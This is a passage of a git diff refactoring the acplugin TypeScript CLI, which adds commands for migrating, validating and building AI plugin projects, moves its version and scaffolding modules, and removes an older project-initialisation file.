+ .option('--all', 'Migrate all marketplace plugins') + .option('--name ', 'Canonical plugin name for project input') + .option('--description ', 'Canonical plugin description for project input') + .option('--dry-run', 'Generate and validate in temporary storage without committing') + .option('--strict', 'Fail when any resource is degraded or unmapped') + .option('--json', 'Emit one stable JSON report on stdout') + .action(async (source: string, destination: string | undefined, options: MigrateCliOptions) => { + try { + // Migration 动态导入保持在独立 chunk,不进入正常配置与构建启动路径。 + const { migrate } = await import('../../migration/index.js'); + /** 旧工程转换产生的结构化迁移报告。 */ + const report = await migrate({ + source, + ...(destination === undefined ? {} : { destination }), + ...(options.path === undefined ? {} : { subPath: options.path }), + ...(options.plugin === undefined ? {} : { plugin: options.plugin }), + ...(options.all === undefined ? {} : { all: options.all }), + ...(options.name === undefined ? {} : { name: options.name }), + ...(options.description === undefined ? {} : { description: options.description }), + ...(options.dryRun === undefined ? {} : { dryRun: options.dryRun }), + ...(options.strict === undefined ? {} : { strict: options.strict }), + }); + if (options.json) + process.stdout.write(`${JSON.stringify(report, null, 2)}\n`); + else + process.stdout.write(`Migration ${report.success ? 'succeeded' : 'failed'}: ${report.items.length} resource(s)\n`); + if (!report.success) + process.exitCode = 1; + } catch (error) { + writeFailure('migrate', error, options.json, false); + process.exitCode = 1; + } + }); +} diff --git a/packages/acplugin/src/cli/commands/pipeline.ts b/packages/acplugin/src/cli/commands/pipeline.ts new file mode 100644 index 0000000..d1bea50 --- /dev/null +++ b/packages/acplugin/src/cli/commands/pipeline.ts @@ -0,0 +1,30 @@ +import { + ProjectConfigError, + runProject, +} from '../../index.js'; +import { exitCodeFor, writeFailure, writeReport } from '../output.js'; +import type { ProjectCliOptions } from '../options.js'; + +/** 运行一次 validate、inspect 或 build。 */ +export async function runPipeline( + command: 'validate' | 'inspect' | 'build', + options: ProjectCliOptions, +): Promise { + try { + /** Project facade 与程序化 API 共用的唯一 BuildSession 报告。 */ + const report = await runProject({ + command, + mode: options.mode, + ...(options.config === undefined ? {} : { configFile: options.config }), + ...(options.platform === undefined ? {} : { platforms: options.platform }), + commit: command === 'build', + }); + writeReport(report, options.json); + process.exitCode = exitCodeFor(report); + } catch (error) { + /** 配置错误属于项目输入,其余未预期异常属于框架内部失败。 */ + const internal = !(error instanceof ProjectConfigError); + writeFailure(command, error, options.json, internal); + process.exitCode = internal ? 2 : 1; + } +} diff --git a/packages/acplugin/src/cli/commands/validate.ts b/packages/acplugin/src/cli/commands/validate.ts new file mode 100644 index 0000000..55e3b7f --- /dev/null +++ b/packages/acplugin/src/cli/commands/validate.ts @@ -0,0 +1,9 @@ +import type { Command } from 'commander'; +import { addProjectOptions, type ProjectCliOptions } from '../options.js'; +import { runPipeline } from './pipeline.js'; + +/** 注册 validate 命令的薄参数适配。 */ +export function registerValidateCommand(program: Command): void { + addProjectOptions(program.command('validate').description('Validate all selected Platform packages'), 'production') + .action((options: ProjectCliOptions) => runPipeline('validate', options)); +} diff --git a/packages/acplugin/src/cli/options.ts b/packages/acplugin/src/cli/options.ts new file mode 100644 index 0000000..54d0970 --- /dev/null +++ b/packages/acplugin/src/cli/options.ts @@ -0,0 +1,19 @@ +import { Command, Option } from 'commander'; +import type { BuildMode } from '../index.js'; + +/** validate、inspect、build 和 dev 命令共享的 CLI 选项。 */ +export interface ProjectCliOptions { + readonly config?: string; + readonly platform?: string[]; + readonly mode: BuildMode; + readonly json?: boolean; +} + +/** 为 Project 子命令注册一致且不覆盖配置语义的选项。 */ +export function addProjectOptions(command: Command, defaultMode: BuildMode): Command { + return command + .option('-c, --config ', 'Use another project-relative TypeScript config file') + .addOption(new Option('--platform ', 'Select a subset of configured Platforms')) + .addOption(new Option('--mode ', 'Config mode').choices(['development', 'production']).default(defaultMode)) + .option('--json', 'Emit one stable JSON report on stdout'); +} diff --git a/packages/acplugin/src/cli/output.ts b/packages/acplugin/src/cli/output.ts new file mode 100644 index 0000000..8590a7e --- /dev/null +++ b/packages/acplugin/src/cli/output.ts @@ -0,0 +1,107 @@ +import process from 'node:process'; +import { + ProjectConfigError, + serializeBuildReport, + type BuildReport, +} from '../index.js'; +import { InitError } from '../scaffolding/init.js'; + +/** CLI 边界失败使用的脱敏诊断。 */ +interface CliFailureDiagnostic { + readonly code: string; + readonly severity: 'error' | 'warning'; + readonly message: string; + readonly phase: string; +} + +/** 尚未产生 BuildReport 时使用的最小 CLI 失败报告。 */ +interface CliFailureReport { + readonly schemaVersion: 2; + readonly command: string; + readonly diagnostics: readonly CliFailureDiagnostic[]; + readonly success: false; +} + +/** 按机器或人类可读模式输出完整 Kernel v2 报告。 */ +export function writeReport(report: BuildReport, json: boolean | undefined): void { + if (json) { + process.stdout.write(serializeBuildReport(report)); + return; + } + /** 普通文本摘要使用的稳定状态词。 */ + const status = report.success ? 'success' : 'failed'; + /** 本次真正选中的 Platform ID。 */ + const selected = report.platforms.filter(platform => platform.selected).map(platform => platform.id); + process.stdout.write(`${report.command}: ${status} (${selected.join(', ')})\n`); + if (report.command === 'inspect') { + for (const component of report.components) + process.stdout.write(`component ${component.kind}/${component.id}\n`); + for (const runtime of report.runtimes) + process.stdout.write(`runtime ${runtime.id} ${runtime.kind} built:${runtime.built}\n`); + for (const extension of report.extensions) + process.stdout.write(`extension ${extension.id} resources:${extension.discovered}\n`); + for (const platform of report.platforms) + process.stdout.write(`platform ${platform.id} selected:${platform.selected} success:${platform.success} packages:${platform.packageIds.join(',')}\n`); + for (const unit of report.packages) { + process.stdout.write(`package ${unit.platform}/${unit.id} ${unit.role}:${unit.type}\n`); + for (const asset of unit.assets) + process.stdout.write(` asset ${asset.path} ${asset.owner} ${asset.mode.toString(8)} ${asset.size} ${asset.sha256}\n`); + } + for (const entry of report.compatibility) + process.stdout.write(`compatibility ${entry.platform} ${entry.subject}/${entry.capability} ${entry.level}: ${entry.reason}\n`); + for (const entry of report.metadata) + process.stdout.write(`metadata ${entry.platform} ${entry.field} ${entry.disposition}: ${entry.reason}\n`); + } + for (const diagnostic of report.diagnostics) + process.stderr.write(`${diagnostic.severity} ${diagnostic.code}: ${diagnostic.message}\n`); + for (const entry of report.compatibility) { + if (entry.level === 'degraded' || entry.level === 'unsupported') + process.stderr.write(`warning ${entry.platform} ${entry.subject}: ${entry.reason}\n`); + } +} + +/** JSON dev 不占用 stdout,只在 stderr 发布可观测轮次摘要。 */ +export function writeDevProgress(report: BuildReport): void { + /** 与人类可读摘要一致的稳定状态词。 */ + const status = report.success ? 'success' : 'failed'; + /** 本轮实际选中的 Platform ID。 */ + const selected = report.platforms.filter(platform => platform.selected).map(platform => platform.id); + process.stderr.write(`${report.command}: ${status} (${selected.join(', ')})\n`); + for (const diagnostic of report.diagnostics) + process.stderr.write(`${diagnostic.severity} ${diagnostic.code}: ${diagnostic.message}\n`); +} + +/** 将配置或命令异常转换为不泄露内部详情的 CLI 报告。 */ +function failureReport(command: string, error: unknown, internal: boolean): CliFailureReport { + /** 配置和 init 错误保留安全原因,其余异常只输出固定消息。 */ + const diagnostics: readonly CliFailureDiagnostic[] = error instanceof ProjectConfigError + ? error.diagnostics + : error instanceof InitError + ? [{ code: 'INIT_INVALID', severity: 'error', message: error.message, phase: command }] + : [{ + code: internal ? 'FRAMEWORK_INTERNAL_FAILED' : 'COMMAND_FAILED', + severity: 'error', + message: internal ? 'The command failed inside the framework.' : `${command} failed.`, + phase: internal ? 'internal' : command, + }]; + return { schemaVersion: 2, command, diagnostics, success: false }; +} + +/** 展示尚未进入 Core 报告阶段的失败。 */ +export function writeFailure(command: string, error: unknown, json: boolean | undefined, internal: boolean): void { + /** 从未知异常收敛出的安全失败报告。 */ + const report = failureReport(command, error, internal); + if (json) { + process.stdout.write(`${JSON.stringify(report, null, 2)}\n`); + return; + } + for (const diagnostic of report.diagnostics) + process.stderr.write(`${diagnostic.severity} ${diagnostic.code}: ${diagnostic.message}\n`); +} + +/** 根据最终结构化诊断区分成功、项目失败和框架内部失败。 */ +export function exitCodeFor(report: BuildReport): 0 | 1 | 2 { + if (report.success) + return 0; + return report.diagnostics.some(diagnostic => diagnostic.code === 'INTERNAL_ERROR') ? 2 : 1; +} diff --git a/packages/acplugin/src/cli/program.ts b/packages/acplugin/src/cli/program.ts new file mode 100644 index 0000000..dbfa247 --- /dev/null +++ b/packages/acplugin/src/cli/program.ts @@ -0,0 +1,62 @@ +import process from 'node:process'; +import { Command, CommanderError } from 'commander'; +import { ACPLUGIN_VERSION } from '../index.js'; +import { registerBuildCommand } from './commands/build.js'; +import { registerDevCommand } from './commands/dev.js'; +import { registerInitCommand } from './commands/init.js'; +import { registerInspectCommand } from './commands/inspect.js'; +import { registerMigrateCommand } from './commands/migrate.js'; +import { registerValidateCommand } from './commands/validate.js'; + +/** 构造完整 Commander 命令树,但不读取 argv 或退出进程。 */ +export function createCli(): Command { + /** 注册全局元数据和错误处理策略的 CLI 根命令。 */ + const program = new Command() + .name('acplugin') + .description('Build canonical AI plugin deliveries for configured Platforms') + .version(ACPLUGIN_VERSION) + .showHelpAfterError() + .exitOverride(); + + registerInitCommand(program); + registerMigrateCommand(program); + registerValidateCommand(program); + registerInspectCommand(program); + registerBuildCommand(program); + registerDevCommand(program); + return program; +} + +/** 解析 CLI 参数并把使用错误与框架内部错误映射为稳定退出码。 */ +export async function main(argv: readonly string[] = process.argv): Promise { + /** 当前调用独占的 Commander 命令树。 */ + const program = createCli(); + if (argv.length <= 2) { + program.outputHelp(); + return; + } + try { + /** `--` 之前用于识别已移除参数的真实选项候选。 */ + const argumentsAfterBinary = argv.slice(2); + /** Commander option 终止符位置。 */ + const terminator = argumentsAfterBinary.indexOf('--'); + /** 不包含位置参数文本的选项扫描范围。 */ + const scanned = terminator === -1 ? argumentsAfterBinary : argumentsAfterBinary.slice(0, terminator); + if (scanned.some(argument => argument === '--target' || argument === '-t' || argument.startsWith('--target='))) { + program.error('option \'--target\' has been removed; use \'--platform \' instead', { + exitCode: 2, + code: 'acplugin.legacyTarget', + }); + } + await program.parseAsync(argv); + } catch (error) { + if (error instanceof CommanderError) { + if (error.code === 'commander.helpDisplayed' || error.code === 'commander.version') + return; + process.exitCode = 2; + return; + } + process.stderr.write('internal error: the CLI failed inside the framework\n'); + process.exitCode = 2; + } +} diff --git a/packages/acplugin/src/version.ts b/packages/acplugin/src/ecosystem/framework-version.ts similarity index 69% rename from packages/acplugin/src/version.ts rename to packages/acplugin/src/ecosystem/framework-version.ts index 8ca9a41..d34be24 100644 --- a/packages/acplugin/src/version.ts +++ b/packages/acplugin/src/ecosystem/framework-version.ts @@ -1,4 +1,4 @@ -import { PUBLIC_PACKAGE_VERSIONS } from './ecosystem-versions.js'; +import { PUBLIC_PACKAGE_VERSIONS } from './versions.js'; /** 当前 CLI 与公开运行时 API 的单一版本常量。 */ export const ACPLUGIN_VERSION: string = PUBLIC_PACKAGE_VERSIONS['@tokenroll/acplugin']; diff --git a/packages/acplugin/src/ecosystem-versions.json b/packages/acplugin/src/ecosystem/versions.json similarity index 100% rename from packages/acplugin/src/ecosystem-versions.json rename to packages/acplugin/src/ecosystem/versions.json diff --git a/packages/acplugin/src/ecosystem-versions.ts b/packages/acplugin/src/ecosystem/versions.ts similarity index 87% rename from packages/acplugin/src/ecosystem-versions.ts rename to packages/acplugin/src/ecosystem/versions.ts index 11abc6e..48048f3 100644 --- a/packages/acplugin/src/ecosystem-versions.ts +++ b/packages/acplugin/src/ecosystem/versions.ts @@ -1,4 +1,4 @@ -import versions from './ecosystem-versions.json' with { type: 'json' }; +import versions from './versions.json' with { type: 'json' }; /** 正式公开包名到当前脚手架默认精确版本的单一生成快照。 */ export type PublicPackageName = keyof typeof versions; diff --git a/packages/acplugin/src/index.ts b/packages/acplugin/src/index.ts index 75a693d..c425469 100644 --- a/packages/acplugin/src/index.ts +++ b/packages/acplugin/src/index.ts @@ -1,17 +1,17 @@ import type { BuildReport, UserConfigExport, -} from '@acplugin/core/kernel-author'; -import { stableJson } from '@acplugin/core/kernel-author'; -export { createProject, ProjectConfigError, runProject } from './project.js'; -export { ACPLUGIN_VERSION } from './version.js'; +} from '@acplugin/core/author'; +import { stableJson } from '@acplugin/core/author'; +export { createProject, ProjectConfigError, runProject } from './author/project.js'; +export { ACPLUGIN_VERSION } from './ecosystem/framework-version.js'; export { nodeRuntimeArtifactPath, nodeRuntimeLicensesArtifactPath, -} from '@acplugin/core/kernel-author'; +} from '@acplugin/core/author'; -export { initializeProject } from './init.js'; -export type { InitOptions, InitPlatformId, InitResult } from './init.js'; +export { initializeProject } from './scaffolding/init.js'; +export type { InitOptions, InitPlatformId, InitResult } from './scaffolding/init.js'; /** * 为 acplugin.config.ts 提供类型推断友好的恒等辅助函数。 @@ -79,4 +79,4 @@ export type { SourceLocation, UserConfig, UserConfigExport, -} from '@acplugin/core/kernel-author'; +} from '@acplugin/core/author'; diff --git a/packages/acplugin/src/init.ts b/packages/acplugin/src/init.ts deleted file mode 100644 index db818a9..0000000 --- a/packages/acplugin/src/init.ts +++ /dev/null @@ -1,396 +0,0 @@ -import { spawn } from 'node:child_process'; -import { promises as fs } from 'node:fs'; -import path from 'node:path'; -import { checkbox, input } from '@inquirer/prompts'; -import { publicPackageRange } from './ecosystem-versions.js'; - -/** 控制 `acplugin init` 的交互方式、工程元数据和可选框架能力。 */ -export interface InitOptions { - /** 解析目标目录的工作目录,默认为当前进程目录。 */ - cwd?: string; - /** 新工程目录;显式传入 `.` 可使用当前目录。 */ - directory?: string; - /** 是否跳过交互并接受确定性默认值。 */ - yes?: boolean; - /** 可选的 Plugin 机器名称覆盖。 */ - name?: string; - /** 可选的展示名称覆盖。 */ - displayName?: string; - /** 可选的 Plugin 描述覆盖。 */ - description?: string; - /** 需要显式写入配置的官方 Platform;默认 Claude Code 与 Codex。 */ - platforms?: readonly InitPlatformId[]; - /** 是否在生成配置中启用官方 Hooks Extension。 */ - hooks?: boolean; - /** 是否在生成配置中启用官方 MCP Extension。 */ - mcp?: boolean; - /** 是否生成 Core 内建 Node Runtime 的约定入口模板。 */ - nodeRuntime?: boolean; - /** 是否在脚手架完成后运行 pnpm install。 */ - install?: boolean; -} - -/** 初始化完成后供 CLI 文本或 JSON 输出使用的稳定结果。 */ -export interface InitResult { - /** 相对于 cwd 的新工程目录。 */ - directory: string; - /** 脚手架创建的工程文件路径。 */ - files: readonly string[]; - /** 新工程启用的官方 Platform ID。 */ - platforms: readonly InitPlatformId[]; - /** 新工程启用的官方 Extension 包名。 */ - extensions: readonly string[]; - /** 请求安装依赖时,pnpm 是否成功退出。 */ - installed: boolean; -} - -/** `init` 可以写入脚手架的六个官方 Platform ID。 */ -export type InitPlatformId = 'claude-code' | 'codex' | 'cursor' | 'antigravity' | 'opencode' | 'pi'; - -/** 只承载可安全向 CLI 用户展示的已知脚手架输入错误。 */ -export class InitError extends Error { - /** 稳定标识内部错误类别,但不进入公开 facade。 */ - override readonly name = 'InitError'; -} - -/** 无交互脚手架默认启用的正式支持 Platform。 */ -const DEFAULT_PLATFORMS: readonly InitPlatformId[] = ['claude-code', 'codex']; - -/** 每个独立版本化官方 Platform 的 package、配置工厂导出名与脚手架依赖范围。 */ -const PLATFORM_PACKAGES: Readonly> = { - 'claude-code': { packageName: '@tokenroll/acplugin-platform-claude-code', factory: 'claudeCode', version: publicPackageRange('@tokenroll/acplugin-platform-claude-code') }, - 'codex': { packageName: '@tokenroll/acplugin-platform-codex', factory: 'codex', version: publicPackageRange('@tokenroll/acplugin-platform-codex') }, - 'cursor': { packageName: '@tokenroll/acplugin-platform-cursor', factory: 'cursor', version: publicPackageRange('@tokenroll/acplugin-platform-cursor') }, - 'antigravity': { packageName: '@tokenroll/acplugin-platform-antigravity', factory: 'antigravity', version: publicPackageRange('@tokenroll/acplugin-platform-antigravity') }, - 'opencode': { packageName: '@tokenroll/acplugin-platform-opencode', factory: 'openCode', version: publicPackageRange('@tokenroll/acplugin-platform-opencode') }, - 'pi': { packageName: '@tokenroll/acplugin-platform-pi', factory: 'pi', version: publicPackageRange('@tokenroll/acplugin-platform-pi') }, -}; - -/** Plugin 名称接受的小写 kebab-case 格式。 */ -const NAME_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; - -/** - * 从目标目录名称派生合法且稳定的默认 Plugin 名称。 - * - * @param directory 新工程绝对路径。 - * @returns 小写 kebab-case 名称,无法提取字符时回退为 `my-plugin`。 - */ -function defaultName(directory: string): string { - return path.basename(directory) - .toLowerCase() - .replace(/[^a-z0-9]+/g, '-') - .replace(/^-|-$/g, '') || 'my-plugin'; -} - -/** - * 把 kebab-case Plugin 名称转换为默认英文展示名称。 - * - * @param name 已验证的 Plugin 机器名称。 - * @returns 每个名称片段首字母大写的文本。 - */ -function defaultDisplayName(name: string): string { - return name.split('-').map(part => part.charAt(0).toUpperCase() + part.slice(1)).join(' '); -} - -/** - * 确认脚手架目标不存在或是空的普通目录。 - * - * @param directory 待写入工程的绝对目录。 - * @throws 目标是符号链接、非目录或非空目录时抛出异常。 - */ -async function assertDestination(directory: string): Promise { - try { - /** 已存在目标的文件类型和符号链接状态。 */ - const stat = await fs.lstat(directory); - if (!stat.isDirectory() || stat.isSymbolicLink()) - throw new InitError('destination exists and is not a regular directory'); - if ((await fs.readdir(directory)).length > 0) - throw new InitError('destination directory is not empty'); - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - if ((error as NodeJS.ErrnoException).code === 'ENOENT') - return; - throw error; - } -} - -/** - * 生成使用顶层元数据和可选官方 Extension 的 `acplugin.config.ts`。 - * - * @param metadata 新工程的 Plugin 元数据与 Extension 选择。 - * @returns 可直接写入磁盘的 TypeScript 配置源码。 - */ -function configSource(metadata: { - name: string; - displayName: string; - description: string; - platforms: readonly InitPlatformId[]; - hooks: boolean; - mcp: boolean; -}): string { - /** 配置入口以及每个选中 Platform 的独立 package 默认导入。 */ - const imports = [ - `import { defineConfig } from '@tokenroll/acplugin';`, - ...metadata.platforms.map((platform) => { - /** 当前官方 Platform 的 package 名和本地工厂名。 */ - const definition = PLATFORM_PACKAGES[platform]; - return `import ${definition.factory} from '${definition.packageName}';`; - }), - ]; - /** 写入配置 `extensions` 数组的初始化表达式。 */ - const extensions: string[] = []; - if (metadata.hooks) { - imports.push(`import hooks from '@tokenroll/acplugin-extension-hooks';`); - extensions.push('hooks()'); - } - if (metadata.mcp) { - imports.push(`import mcp from '@tokenroll/acplugin-extension-mcp';`); - extensions.push('mcp()'); - } - return `${imports.join('\n')} - -export default defineConfig({ - name: ${JSON.stringify(metadata.name)}, - version: '0.1.0', - description: ${JSON.stringify(metadata.description)}, - displayName: ${JSON.stringify(metadata.displayName)}, - platforms: [${metadata.platforms.map(platform => `${PLATFORM_PACKAGES[platform].factory}()`).join(', ')}],${extensions.length - ? ` - extensions: [${extensions.join(', ')}],` - : ''} -}); -`; -} - -/** - * 生成仅包含工程开发依赖和标准命令的私有 package.json。 - * - * @param name Plugin 机器名称。 - * @param platforms 需要加入的独立官方 Platform 依赖。 - * @param hooks 是否加入官方 Hooks Extension 依赖。 - * @param mcp 是否加入官方 MCP Extension 依赖。 - * @returns 以换行结尾的格式化 JSON。 - */ -function packageSource( - name: string, - platforms: readonly InitPlatformId[], - hooks: boolean, - mcp: boolean, -): string { - /** 根据 Extension 选择动态扩展的开发依赖映射。 */ - const devDependencies: Record = { - '@tokenroll/acplugin': publicPackageRange('@tokenroll/acplugin'), - '@types/node': '^20.19.0', - 'typescript': '^7.0.2', - }; - for (const platform of platforms) { - /** 官方 Platform 独立发布后由自身元数据决定脚手架依赖范围。 */ - const definition = PLATFORM_PACKAGES[platform]; - devDependencies[definition.packageName] = definition.version; - } - if (hooks) - devDependencies['@tokenroll/acplugin-extension-hooks'] = publicPackageRange('@tokenroll/acplugin-extension-hooks'); - if (mcp) - devDependencies['@tokenroll/acplugin-extension-mcp'] = publicPackageRange('@tokenroll/acplugin-extension-mcp'); - return `${JSON.stringify({ - name, - version: '0.1.0', - private: true, - type: 'module', - packageManager: 'pnpm@10.34.5', - engines: { node: '^20.19.0 || ^22.13.0 || >=23.5.0' }, - scripts: { - dev: 'acplugin dev', - validate: 'acplugin validate', - inspect: 'acplugin inspect', - build: 'acplugin build', - typecheck: 'tsc --noEmit', - }, - devDependencies, - }, null, 2)}\n`; -} - -/** - * 在新工程中运行 pnpm install,并把子进程失败转换为布尔结果。 - * - * @param directory 新工程绝对目录。 - * @returns pnpm 以零退出码结束时返回 true。 - */ -async function installDependencies(directory: string): Promise { - return new Promise((resolve) => { - /** 继承当前终端输入输出的 pnpm 子进程。 */ - const child = spawn('pnpm', ['install'], { cwd: directory, stdio: 'inherit' }); - child.once('error', () => resolve(false)); - child.once('exit', code => resolve(code === 0)); - }); -} - -/** - * 交互式或无交互地创建一个最小、可构建的规范 Plugin 工程。 - * - * @param options 目标目录、元数据、Extension 和依赖安装选项。 - * @returns 创建文件、启用 Extension 与安装状态。 - */ -export async function initializeProject(options: InitOptions): Promise { - /** 解析相对目标目录使用的绝对工作目录。 */ - const cwd = path.resolve(options.cwd ?? process.cwd()); - /** CLI 参数或交互提示提供的原始目录值。 */ - let directoryValue = options.directory; - if (!directoryValue) { - if (options.yes || !process.stdin.isTTY) - throw new InitError('A destination directory is required in non-interactive mode; pass "." explicitly for the current directory.'); - directoryValue = await input({ message: 'Project directory', default: 'my-plugin' }); - } - /** 已解析并即将接受脚手架文件的绝对目录。 */ - const directory = path.resolve(cwd, directoryValue); - await assertDestination(directory); - - /** 根据目录名推导的默认机器名称。 */ - const suggestedName = defaultName(directory); - /** 参数、确定性默认值或交互输入得到的最终 Plugin 名称。 */ - const name = options.name ?? (options.yes || !process.stdin.isTTY - ? suggestedName - : await input({ message: 'Plugin name', default: suggestedName })); - if (!NAME_PATTERN.test(name)) - throw new InitError('Plugin name must be lowercase kebab-case.'); - /** 根据机器名称推导的默认展示名称。 */ - const suggestedDisplayName = defaultDisplayName(name); - /** 参数、默认值或交互输入得到的最终展示名称。 */ - const displayName = options.displayName ?? (options.yes || !process.stdin.isTTY - ? suggestedDisplayName - : await input({ message: 'Display name', default: suggestedDisplayName })); - /** 参数、默认值或交互输入得到的 Plugin 描述。 */ - const description = options.description ?? (options.yes || !process.stdin.isTTY - ? `${displayName} plugin.` - : await input({ message: 'Description', default: `${displayName} plugin.` })); - if (description.trim() === '') - throw new InitError('Description must not be empty.'); - - /** 参数、默认值或交互复选提示得到的官方 Platform 列表。 */ - let platforms = options.platforms === undefined ? [...DEFAULT_PLATFORMS] : [...options.platforms]; - if (!options.yes && process.stdin.isTTY && options.platforms === undefined) { - platforms = await checkbox({ - message: 'Platforms', - choices: [ - { name: 'Claude Code', value: 'claude-code', checked: true }, - { name: 'Codex', value: 'codex', checked: true }, - { name: 'Cursor', value: 'cursor' }, - { name: 'Antigravity', value: 'antigravity' }, - { name: 'OpenCode', value: 'opencode' }, - { name: 'Pi', value: 'pi' }, - ], - required: true, - }); - } - if (platforms.length === 0) - throw new InitError('At least one Platform must be selected.'); - /** seenPlatforms 用于拒绝重复工厂,保持配置与报告身份唯一。 */ - const seenPlatforms = new Set(); - /** platform 表示当前需要验证和稳定去重的脚手架 Platform。 */ - for (const platform of platforms) { - if (!Object.hasOwn(PLATFORM_PACKAGES, platform)) - throw new InitError(`Unknown init Platform "${platform}".`); - if (seenPlatforms.has(platform)) - throw new InitError(`Duplicate init Platform "${platform}".`); - seenPlatforms.add(platform); - } - - /** 新工程是否启用 Hooks Extension。 */ - let hooksEnabled = options.hooks ?? false; - /** 新工程是否启用 MCP Extension。 */ - let mcpEnabled = options.mcp ?? false; - /** 新工程是否生成 Core 内建 Node Runtime 模板。 */ - let nodeRuntimeEnabled = options.nodeRuntime ?? false; - if (!options.yes - && process.stdin.isTTY - && options.hooks === undefined - && options.mcp === undefined - && options.nodeRuntime === undefined) { - /** 用户在统一可选能力提示中选择的功能。 */ - const selected = await checkbox({ - message: 'Optional Features', - choices: [ - { name: 'Hooks', value: 'hooks' }, - { name: 'MCP', value: 'mcp' }, - { name: 'Node Runtime', value: 'node-runtime' }, - ], - }); - hooksEnabled = selected.includes('hooks'); - mcpEnabled = selected.includes('mcp'); - nodeRuntimeEnabled = selected.includes('node-runtime'); - } - - /** 默认 Skill 的目录,也是 mkdir 一次创建整个工程树的锚点。 */ - const skillDirectory = path.join(directory, 'src', 'skills', name); - await fs.mkdir(skillDirectory, { recursive: true }); - if (hooksEnabled) - await fs.mkdir(path.join(directory, 'src', 'hooks'), { recursive: true }); - if (mcpEnabled) - await fs.mkdir(path.join(directory, 'src', 'mcp'), { recursive: true }); - if (nodeRuntimeEnabled) - await fs.mkdir(path.join(directory, 'src', 'runtime'), { recursive: true }); - /** 初始化结果中稳定呈现的全部脚手架文件路径。 */ - const files = [ - 'acplugin.config.ts', - 'package.json', - 'tsconfig.json', - '.gitignore', - `src/skills/${name}/SKILL.md`, - ...(nodeRuntimeEnabled ? ['src/runtime/main.ts'] : []), - ]; - // 使用 `wx` 并行写入,既减少脚手架耗时,也避免意外覆盖并发创建的文件。 - await Promise.all([ - fs.writeFile(path.join(directory, 'acplugin.config.ts'), configSource({ - name, - displayName, - description: description.trim(), - platforms, - hooks: hooksEnabled, - mcp: mcpEnabled, - }), { flag: 'wx' }), - fs.writeFile(path.join(directory, 'package.json'), packageSource( - name, - platforms, - hooksEnabled, - mcpEnabled, - ), { flag: 'wx' }), - fs.writeFile(path.join(directory, 'tsconfig.json'), `${JSON.stringify({ - compilerOptions: { - target: 'ES2022', - module: 'NodeNext', - moduleResolution: 'NodeNext', - strict: true, - noEmit: true, - types: ['node'], - skipLibCheck: true, - }, - include: ['acplugin.config.ts', 'src/**/*.ts'], - }, null, 2)}\n`, { flag: 'wx' }), - fs.writeFile(path.join(directory, '.gitignore'), 'node_modules\ndist\n', { flag: 'wx' }), - fs.writeFile(path.join(skillDirectory, 'SKILL.md'), `--- -description: Describe when and why to use ${displayName}. ---- -Replace this text with the focused workflow ${displayName} should perform. -`, { flag: 'wx' }), - ...(nodeRuntimeEnabled - ? [ - fs.writeFile(path.join(directory, 'src/runtime/main.ts'), `import process from 'node:process'; - -process.stdout.write('ACPlugin Node runtime is ready.\\n'); -`, { flag: 'wx' }), - ] - : []), - ]); - - /** 仅在用户显式请求时执行的依赖安装结果。 */ - const installed = options.install ? await installDependencies(directory) : false; - return { - directory: path.relative(cwd, directory) || '.', - files, - platforms, - extensions: [ - ...(hooksEnabled ? ['@tokenroll/acplugin-extension-hooks'] : []), - ...(mcpEnabled ? ['@tokenroll/acplugin-extension-mcp'] : []), - ], - installed, - }; -} diff --git a/packages/acplugin/src/migration/ids.ts b/packages/acplugin/src/migration/ids.ts new file mode 100644 index 0000000..8c5e36f --- /dev/null +++ b/packages/acplugin/src/migration/ids.ts @@ -0,0 +1,68 @@ +import path from 'node:path'; + +/** 规范 Component ID 接受的小写 kebab-case 格式。 */ +export const ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** 按 UTF-16 code unit 比较迁移报告与生成输入,不依赖宿主 locale/ICU。 */ +export function compareCodeUnits(left: string, right: string): number { + if (left === right) + return 0; + return left < right ? -1 : 1; +} + +/** 生成旧工程内用于报告的 POSIX 相对路径。 */ +export function relative(root: string, file: string): string { + return path.relative(root, file).split(path.sep).join('/'); +} + +/** 把任意旧资源名称收敛为规范 Component ID。 */ +export function safeId(value: string): string { + /** 移除不支持字符并压缩分隔符后的候选 ID。 */ + const id = value.toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-|-$/g, ''); + return id || 'migrated-item'; +} + +/** 尚未分配最终 ID 的单个迁移资源及其稳定来源身份。 */ +export interface MigrationIdCandidate { + readonly value: T; + readonly baseId: string; + readonly sourcePath: string; +} + +/** 已获得唯一最终 ID 的迁移资源。 */ +export interface AllocatedMigrationId extends MigrationIdCandidate { + readonly id: string; +} + +/** 为一个资源类别整体分配确定 ID,先保留显式 base 再选择未占用后缀。 */ +export function allocateMigrationIds(candidates: readonly MigrationIdCandidate[]): AllocatedMigrationId[] { + /** 所有候选显式拥有的 base ID;冲突项不得抢占这些名称。 */ + const reserved = new Set(candidates.map(candidate => candidate.baseId)); + /** 已实际分配给前序候选的最终 ID。 */ + const assigned = new Set(); + /** 每个 base 下一次尝试的数字后缀。 */ + const nextSuffix = new Map(); + /** 与发现顺序无关的候选处理顺序。 */ + const ordered = [...candidates].sort((left, right) => + compareCodeUnits(left.baseId, right.baseId) + || compareCodeUnits(left.sourcePath, right.sourcePath)); + /** 完成 winner/后缀选择后再按最终 ID 固定写入与报告顺序。 */ + const allocated = ordered.map((candidate) => { + /** 当前候选优先使用的 base,冲突时再选择数字后缀。 */ + let id = candidate.baseId; + if (assigned.has(id)) { + /** 从 `-2` 开始且会跨候选记忆的当前后缀。 */ + let suffix = nextSuffix.get(candidate.baseId) ?? 2; + do { + id = `${candidate.baseId}-${suffix}`; + suffix += 1; + } while (reserved.has(id) || assigned.has(id)); + nextSuffix.set(candidate.baseId, suffix); + } + assigned.add(id); + return { ...candidate, id }; + }); + return allocated.sort((left, right) => + compareCodeUnits(left.id, right.id) + || compareCodeUnits(left.sourcePath, right.sourcePath)); +} diff --git a/packages/acplugin/src/migration/index.ts b/packages/acplugin/src/migration/index.ts index ac25566..0996ed5 100644 --- a/packages/acplugin/src/migration/index.ts +++ b/packages/acplugin/src/migration/index.ts @@ -1,23 +1,8 @@ +/** Legacy Migration 的来源识别、stage 与 commit 编排。 */ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; -import matter from 'gray-matter'; -import semver from 'semver'; -import parseSpdxExpression from 'spdx-expression-parse'; -import { input } from '@inquirer/prompts'; -import { publicPackageRange } from '../ecosystem-versions.js'; -import { - defineConfig, - runProject, -} from 